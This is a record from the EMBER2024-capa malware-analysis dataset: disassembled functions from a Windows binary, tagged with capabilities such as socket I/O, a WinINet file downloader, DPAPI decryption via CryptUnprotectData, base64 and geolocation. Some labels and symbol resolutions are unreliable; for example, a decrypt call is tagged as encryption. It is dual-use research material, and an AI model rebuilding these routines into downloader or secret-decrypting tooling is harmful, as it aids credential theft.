joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400a8e80
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400a9028
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400a8ee5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400a8ee5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400a8ee5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400a8f1c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400a8f72
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a8f72
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a8f72
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a8f72
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a8f72
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400a8930
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400a8fd4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400850c0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400a8d00
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400a9020
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400850c0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400aa790
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x140154080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400aa825
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400aa886
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1400850c0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400bd8f0
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400aa941
sub ecx, 1
je 0x1400aa9b4
sub ecx, 1
je 0x1400aa8f0
cmp ecx, 1
je 0x1400aa8d3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400d69c4]
call fcn.1400850c0
jmp 0x1400aa9b4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400aa4c0
test eax, eax
je 0x1400aa9b4
jmp 0x1400aa85a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400aa9b4
sub rax, rsi
cmp rax, rbp
jae 0x1400aa9b4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.140085240
jmp 0x1400aa9b4
cmp r8d, 4
jle 0x1400aa9b4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400aa9b4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.140084fe0
mov esi, eax
test eax, eax
je 0x1400aa993
mov edx, 5
mov rcx, rbx
call fcn.1400ab480
mov eax, esi
jmp 0x1400aa85a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.1400938b0
mov rcx, r14
call fcn.140093b90
test eax, eax
je 0x1400aa858
mov edx, 5
mov rcx, rbx
call fcn.1400ab480
mov eax, Ordinal_45
jmp 0x1400aa85a
Function at 0x1400bd750
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [0x140154020]
mov rdi, rax
test rax, rax
jne 0x1400bd792
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400bd7d9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400bd832
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400bd7f0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400bd873
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400d0412]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400d0413]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400bd840
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400be8cc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400be916
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400be916
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400be916
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400be916
cmp dword [rcx + 0x84], 0xe
jbe 0x1400be916
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400be918
xor al, al
add rsp, 0x28
ret
Function at 0x1400364f0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
xor eax, eax
mov dword [rsp + 0x20], eax
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], send
mov byte [rcx], al
mov dword [rsp + 0x20], 1
lea rcx, [r8 + 2]
movabs rbp, 0xaaaaaaaaaaaaaaab
mov rax, rbp
mul rcx
shr rdx, 1
shl rdx, 2
xor r8d, r8d
mov rcx, rdi
call fcn.140038440
mov r10, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140036567
mov r10, qword [rdi]
mov rcx, r10
mov rax, rbp
mul rsi
mov r8, rdx
shr r8, 1
mov r9, r8
lea r11, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
je 0x1400365e1
movzx eax, byte [rbx]
shr rax, 2
movzx eax, byte [rax + r11]
mov byte [rcx], al
movsx edx, byte [rbx]
and edx, 3
shl edx, 4
movzx eax, byte [rbx + 1]
shr eax, 4
add edx, eax
movzx eax, byte [rdx + r11]
mov byte [rcx + 1], al
movsx edx, byte [rbx + 1]
and edx, 0xf
movzx eax, byte [rbx + 2]
shr eax, 6
lea eax, [rax + rdx*4]
movzx eax, byte [rax + r11]
mov byte [rcx + 2], al
movsx rax, byte [rbx + 2]
and eax, 0x3f
movzx eax, byte [rax + r11]
mov byte [rcx + 3], al
add rcx, 4
add rbx, 3
sub r9, 1
jne 0x140036582
lea rax, [r8 + r8*2]
sub rsi, rax
sub rsi, 1
je 0x140036632
cmp rsi, 1
jne 0x14003665c
movzx eax, byte [rbx]
shr rax, 2
movzx eax, byte [rax + r11]
mov byte [rcx], al
movsx edx, byte [rbx]
and edx, 3
shl edx, 4
movzx eax, byte [rbx + 1]
shr eax, 4
add edx, eax
movzx eax, byte [rdx + r11]
mov byte [rcx + 1], al
movsx rax, byte [rbx + 1]
and eax, 0xf
movzx eax, byte [r11 + rax*4]
mov byte [rcx + 2], al
mov byte [rcx + 3], 0x3d
jmp 0x140036658
movzx eax, byte [rbx]
shr rax, 2
movzx eax, byte [rax + r11]
mov byte [rcx], al
movsx rax, byte [rbx]
and eax, 3
add rax, rax
movzx eax, byte [r11 + rax*8]
mov byte [rcx + 1], al
mov word [rcx + 2], 0x3d3d
add rcx, 4
sub rcx, r10
xor r8d, r8d
mov rdx, rcx
mov rcx, rdi
call fcn.140038440
mov rax, rdi
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140036b30
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rbx, rdx
mov rsi, rcx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], r12
mov qword [rcx + 0x18], send
mov byte [rcx], r12b
mov dword [rsp + 0x20], 1
mov rax, qword [rdx + 0x10]
shr rax, 2
lea rdx, [rax + rax*2]
xor r8d, r8d
call fcn.140038440
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140036b96
mov rbx, qword [rbx]
mov r15, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140036ba3
mov r15, qword [rsi]
mov rdi, r15
mov r8d, r12d
test r9, r9
je 0x140036cb8
mov rdx, r12
lea r13, [0x1401c2100]
mov eax, dword [rsp + 0x78]
movzx r14d, byte [rsp + 0x7b]
movzx r11d, byte [rsp + 0x7a]
movzx ebp, byte [rsp + 0x79]
dec r9
movzx ecx, byte [rbx]
cmp cl, 0x3d
je 0x140036c62
movzx r10d, byte [rcx + r13]
cmp r10b, 0xff
je 0x140036c62
inc rbx
mov byte [rsp + rdx + 0x78], r10b
inc r8d
inc rdx
mov eax, dword [rsp + 0x78]
movzx r14d, byte [rsp + 0x7b]
movzx r11d, byte [rsp + 0x7a]
movzx ebp, byte [rsp + 0x79]
cmp rdx, 4
jne 0x140036c59
movzx r8d, bpl
shr r8b, 4
and r8b, 3
movzx ecx, al
shl cl, 2
add r8b, cl
movzx edx, r11b
shr dl, 2
and dl, 0xf
movzx ecx, bpl
shl cl, 4
add dl, cl
movzx ecx, r11b
shl cl, 6
add cl, r14b
mov byte [rdi], r8b
mov byte [rdi + 1], dl
mov byte [rdi + 2], cl
add rdi, 3
mov r8d, r12d
mov rdx, r12
test r9, r9
jne 0x140036bd1
test r8d, r8d
je 0x140036cb8
movzx ecx, bpl
shr cl, 4
and cl, 3
shl al, 2
add cl, al
mov byte [rsp + 0x78], cl
movzx eax, r11b
shr al, 2
and al, 0xf
shl bpl, 4
add al, bpl
mov byte [rsp + 0x79], al
shl r11b, 6
add r11b, r14b
mov byte [rsp + 0x7a], r11b
lea eax, [r8 - 1]
movsxd rbx, eax
test eax, eax
jle 0x140036cb8
mov r8, rbx
lea rdx, [rsp + 0x78]
mov rcx, rdi
call fcn.1400f5e20
add rdi, rbx
sub rdi, r15
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call fcn.140038440
mov rax, rsi
mov rbx, qword [rsp + 0x80]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14003e730
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x1401d9bd0]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rdi, rcx
mov qword [rbp - 0x11], rcx
xor esi, esi
mov dword [rbp - 0x15], esi
mov qword [rbp + 0xf], rdx
mov dword [rbp + 7], r8d
lea rax, [rbp - 9]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 7]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x14003e85c
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], rsi
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], send
mov byte [rbp + 0x17], sil
mov ebx, dword [rbp - 9]
test rbx, rbx
jne 0x14003e7c7
mov qword [rbp + 0x27], rbx
mov byte [rbp + rbx + 0x17], bl
jmp 0x14003e7fb
lea rcx, [rbp + 0x17]
cmp rbx, 0xf
ja 0x14003e7e6
mov qword [rbp + 0x27], rbx
mov r8, rbx
xor edx, edx
call fcn.1400f5900
mov byte [rbp + rbx + 0x17], 0
jmp 0x14003e7fb
mov byte [rsp + 0x20], 0
mov r9, rbx
movzx r8d, byte [rbp - 0x19]
mov rdx, rbx
call fcn.140038f10
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0x10
cmovae rcx, qword [rbp + 0x17]
mov r8d, dword [rbp - 9]
mov rdx, qword [rbp - 1]
call fcn.1400f5e20
mov rcx, qword [rbp - 1]
call qword [sym.imp.KERNEL32.dll_LocalFree]
movups xmm0, xmmword [rbp + 0x17]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbp + 0x27]
movups xmmword [rdi + 0x10], xmm1
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], send
mov byte [rbp + 0x17], 0
mov byte [rdi + 0x20], 1
mov dword [rbp - 0x15], 1
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], send
mov byte [rbp + 0x17], 0
jmp 0x14003e867
mov byte [rdi + 0x20], sil
mov dword [rbp - 0x15], 1
mov rax, rdi
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400f36b0
mov rbx, qword [rsp + 0xd8]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
Function at 0x14003e9a0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x270
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x14003ea01
lea r8, [r10 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x14003e9c0
mov ecx, dword [r10]
jmp 0x14003eaea
cmp ecx, 0x4e0
jb 0x14003eaea
lea r11, [r10 + 0x9c4]
mov qword [rsp], rbx
mov eax, dword [r11]
mov ebx, 0xe3
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14003ea20
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14003ea70
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x14003eb30
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov eax, 0x1060
call fcn.1400f44f0
sub rsp, rax
mov rax, qword [0x1401d9bd0]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x38], rcx
xor ebp, ebp
mov dword [rsp + 0x30], ebp
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx], rbp
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], rbp
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x40], ebp
mov dword [rsp + 0x20], ebp
xor r9d, r9d
xor r8d, r8d
lea edx, [rbp + 1]
lea rcx, str.File_Downloader
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x14003ec4b
cmp qword [rdi + 0x18], 0x10
jb 0x14003ebb5
mov rdi, qword [rdi]
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x14003ec42
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14003ec39
nop dword [rax]
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x14003ec39
mov r9d, eax
lea r8, [rsp + 0x50]
mov rdx, qword [rbx + 8]
mov rcx, rbx
call fcn.14003f210
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14003ec00
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rbx
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.1400f36b0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1060
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400aa7b0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rcx + 0x1384], 0xffffffff
lea r9, [rcx + 8]
mov dword [rcx + 4], edx
mov r8d, 1
nop word [rax + rax]
mov eax, edx
lea r9, [r9 + 4]
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, r8d
inc r8
mov dword [r9 - 4], edx
cmp r8, 0x270
jb 0x1400aa7d0
mov dword [rcx], 0x270
mov rax, rcx
ret
Function at 0x1400b46f0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
push rbp
push rdi
mov eax, 0x13c0
call fcn.1400f44f0
sub rsp, rax
mov rax, qword [0x1401d9bd0]
xor rax, rsp
mov qword [rsp + 0x13b0], rax
mov rdi, rcx
call fcn.14012e3ec
mov dword [rsp + 0x24], eax
mov edx, 1
mov dword [rsp + 0x13a4], 0xffffffff
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x24], eax
inc rdx
cmp rdx, 0x270
jb 0x1400b4730
mov rdx, qword [rdi + 8]
lea r8, [rsp + 0x20]
mov rcx, qword [rdi]
mov dword [rsp + 0x20], 0x270
call fcn.1400b4830
mov rbx, qword [rdi]
mov rbp, qword [rdi + 8]
cmp rbx, rbp
je 0x1400b480e
mov qword [rsp + 0x13e8], rsi
mov qword [rsp + 0x13f0], r14
mov r14d, 0x80000000
nop
lea rcx, [rsp + 0x20]
call fcn.14003e9a0
mov ecx, eax
imul rax, rcx, 7
cmp eax, 3
ja 0x1400b47ba
lea rcx, [rsp + 0x20]
call fcn.14003e9a0
mov ecx, eax
imul rax, rcx, 7
cmp eax, 4
jb 0x1400b47a5
shr rax, 0x20
lea ecx, [rax - 0x7ffffffb]
cmp ecx, r14d
lea eax, [rcx + r14]
lea esi, [rcx - 0x80000000]
cmovae esi, eax
xor edi, edi
test esi, esi
jle 0x1400b47f5
nop word [rax + rax]
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1400b4829
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
inc edi
cmp edi, esi
jl 0x1400b47e0
add rbx, 0x40
cmp rbx, rbp
jne 0x1400b4790
mov rsi, qword [rsp + 0x13e8]
mov r14, qword [rsp + 0x13f0]
mov rcx, qword [rsp + 0x13b0]
xor rcx, rsp
call fcn.1400f36b0
add rsp, 0x13c0
pop rdi
pop rbp
pop rbx
ret
call fcn.14012dc60
int3
Function at 0x1400b6680
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x1401d9bd0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rax, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor esi, esi
mov dword [rsp + 0x20], esi
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 7
mov word [rcx], si
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x1400b6795
mov rdx, qword [rsp + 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x1400b66f3
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
lea rcx, [rsp + 0x28]
call fcn.140037520
mov ebx, 5
mov dword [rsp + 0x20], ebx
and ebx, 0xfffffffb
mov dword [rsp + 0x20], ebx
or ebx, 2
mov dword [rsp + 0x20], ebx
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.140034b30
and ebx, 0xfffffffd
mov dword [rsp + 0x20], ebx
mov rdx, qword [rsp + 0x40]
cmp rdx, 8
jb 0x1400b6782
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400b677d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400b67c2
call fcn.1400f3ccc
movdqa xmm0, xmmword [0x1401c4550]
movdqu xmmword [rsp + 0x38], xmm0
mov word [rsp + 0x28], si
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, rdi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400f36b0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.1400cf4e0
int3
Function at 0x1400b7eb0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov rdi, rdx
mov rsi, rcx
test rdx, rdx
je 0x1400b7f24
mov qword [rsp + 0x30], rbp
mov ebp, 0x7fffffff
nop word [rax + rax]
mov rcx, qword [0x1401d9d50]
lea rdx, [rbx + rsi]
mov r8d, edi
cmp rdi, rbp
cmova r8d, ebp
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x1400b7f0c
cdqe
add rbx, rax
sub rdi, rax
jne 0x1400b7ee0
mov rbp, qword [rsp + 0x30]
mov rax, rbx
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rsi, qword [rsp + 0x40]
mov rax, rbx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400b87a0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov rbx, rcx
xor ebp, ebp
mov dword [rsp + 0x30], ebp
lea ecx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov esi, eax
mov word [rsp + 0x20], bp
xor r9d, r9d
xor r8d, r8d
lea edx, [rbp + 4]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetGeoInfoA]
movsxd rdi, eax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], send
mov byte [rbx], bpl
mov dword [rsp + 0x30], 1
mov rdx, rdi
xor r8d, r8d
mov rcx, rbx
call fcn.140038440
mov r8, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400b881e
mov r8, qword [rbx]
mov word [rsp + 0x20], bp
mov r9d, edi
mov edx, 4
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_GetGeoInfoA]
lea eax, [rdi - 1]
movsxd rdx, eax
xor r8d, r8d
mov rcx, rbx
call fcn.140038440
